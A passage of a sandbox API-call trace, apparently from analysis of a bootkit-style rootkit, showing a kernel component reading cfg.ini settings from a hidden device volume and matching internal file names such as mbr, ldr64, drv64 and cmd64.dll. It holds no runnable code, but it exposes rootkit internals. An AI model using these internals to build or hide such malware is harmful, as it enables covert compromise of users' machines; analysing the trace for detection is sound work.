ElapsedSeconds=0x151f4b0) returned 1 [0127.518] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.518] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.518] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.518] KeEnterCriticalRegion () [0127.518] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.518] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.518] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.518] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.518] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.518] IdePortDispatch () returned 0x103 [0127.518] KeWaitForMutexObject () returned 0x0 [0127.518] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.518] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.518] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.518] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.518] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.518] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7010 [0127.518] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.518] KeLeaveCriticalRegion () [0127.518] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.518] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.518] KeEnterCriticalRegion () [0127.518] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.518] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.518] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.519] KeLeaveCriticalRegion () [0127.519] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.519] KeEnterCriticalRegion () [0127.519] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.519] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.519] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.519] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.519] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.519] IdePortDispatch () returned 0x103 [0127.519] KeWaitForMutexObject () returned 0x0 [0127.519] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.519] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.519] KeLeaveCriticalRegion () [0127.519] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.519] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.519] KeEnterCriticalRegion () [0127.519] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.519] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b1a000 [0127.519] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.519] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.519] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.519] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.519] IdePortDispatch () returned 0x103 [0127.519] KeWaitForMutexObject () returned 0x0 [0127.520] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.520] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.520] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.520] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.520] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.520] IdePortDispatch () returned 0x103 [0127.520] KeWaitForMutexObject () returned 0x0 [0127.520] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.520] KeLeaveCriticalRegion () [0127.520] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.521] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.521] KeEnterCriticalRegion () [0127.521] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.521] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.521] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.521] KeLeaveCriticalRegion () [0127.521] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.521] KeEnterCriticalRegion () [0127.521] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.521] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.521] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfbc90, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.521] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.521] KeLeaveCriticalRegion () [0127.521] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.521] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.521] KeEnterCriticalRegion () [0127.521] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.521] ExFreePoolWithTag (P=0xfffffa800c4f7010, Tag=0x0) [0127.521] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.521] KeLeaveCriticalRegion () [0127.521] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.521] ReleaseMutex (hMutex=0xf0) returned 1 [0127.521] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.521] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.522] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.522] KeEnterCriticalRegion () [0127.522] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.522] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.522] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.522] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.522] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.522] IdePortDispatch () returned 0x103 [0127.522] KeWaitForMutexObject () returned 0x0 [0127.522] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.522] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.522] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.522] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.522] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.522] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039bbb80 [0127.522] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.522] KeLeaveCriticalRegion () [0127.522] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.522] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.522] KeEnterCriticalRegion () [0127.523] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.523] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.523] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.523] KeLeaveCriticalRegion () [0127.523] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.523] KeEnterCriticalRegion () [0127.523] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.523] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.523] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.523] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.523] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.523] IdePortDispatch () returned 0x103 [0127.523] KeWaitForMutexObject () returned 0x0 [0127.523] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.523] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.523] KeLeaveCriticalRegion () [0127.523] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.523] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.523] KeEnterCriticalRegion () [0127.523] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.523] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b1b000 [0127.523] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.523] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.523] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.523] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.523] IdePortDispatch () returned 0x103 [0127.524] KeWaitForMutexObject () returned 0x0 [0127.524] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.524] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.524] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.524] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.524] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.524] IdePortDispatch () returned 0x103 [0127.524] KeWaitForMutexObject () returned 0x0 [0127.524] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.524] KeLeaveCriticalRegion () [0127.524] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.525] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.525] KeEnterCriticalRegion () [0127.525] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.525] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.525] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.525] KeLeaveCriticalRegion () [0127.525] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.525] KeEnterCriticalRegion () [0127.525] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.525] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.525] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.525] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.525] KeLeaveCriticalRegion () [0127.525] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.525] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.525] KeEnterCriticalRegion () [0127.525] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.525] ExFreePoolWithTag (P=0xfffffa80039bbb80, Tag=0x0) [0127.525] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.525] KeLeaveCriticalRegion () [0127.525] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.525] ReleaseMutex (hMutex=0xf0) returned 1 [0127.526] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.526] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0127.526] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.526] KeEnterCriticalRegion () [0127.526] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.526] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.526] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.526] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.526] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.526] IdePortDispatch () returned 0x103 [0127.526] KeWaitForMutexObject () returned 0x0 [0127.526] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.526] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.526] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.526] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.526] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.526] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e18f0 [0127.526] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.526] KeLeaveCriticalRegion () [0127.526] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.526] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.526] KeEnterCriticalRegion () [0127.526] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.526] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.526] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.526] KeLeaveCriticalRegion () [0127.527] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.527] KeEnterCriticalRegion () [0127.527] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.527] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.527] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.527] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.527] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.527] IdePortDispatch () returned 0x103 [0127.527] KeWaitForMutexObject () returned 0x0 [0127.527] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.527] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.527] KeLeaveCriticalRegion () [0127.527] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.527] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.527] KeEnterCriticalRegion () [0127.527] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.527] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b1c000 [0127.527] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.527] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.527] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.527] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.527] IdePortDispatch () returned 0x103 [0127.528] KeWaitForMutexObject () returned 0x0 [0127.528] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.528] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.528] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.528] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.528] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.528] IdePortDispatch () returned 0x103 [0127.528] KeWaitForMutexObject () returned 0x0 [0127.528] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.528] KeLeaveCriticalRegion () [0127.528] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.529] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.529] KeEnterCriticalRegion () [0127.529] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.529] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.529] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.529] KeLeaveCriticalRegion () [0127.529] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.529] KeEnterCriticalRegion () [0127.529] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.529] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.529] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.529] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.529] KeLeaveCriticalRegion () [0127.529] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.529] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.529] KeEnterCriticalRegion () [0127.529] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.529] ExFreePoolWithTag (P=0xfffffa80037e18f0, Tag=0x0) [0127.529] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.529] KeLeaveCriticalRegion () [0127.529] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.529] ReleaseMutex (hMutex=0xf0) returned 1 [0127.529] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0127.529] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0127.529] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0127.529] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.529] KeEnterCriticalRegion () [0127.530] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.530] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.530] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.530] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.530] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.530] IdePortDispatch () returned 0x103 [0127.530] KeWaitForMutexObject () returned 0x0 [0127.530] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.530] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.530] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.530] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.530] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.530] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.530] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.530] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.530] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.530] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.530] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.530] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.530] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.530] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.530] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.530] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.530] 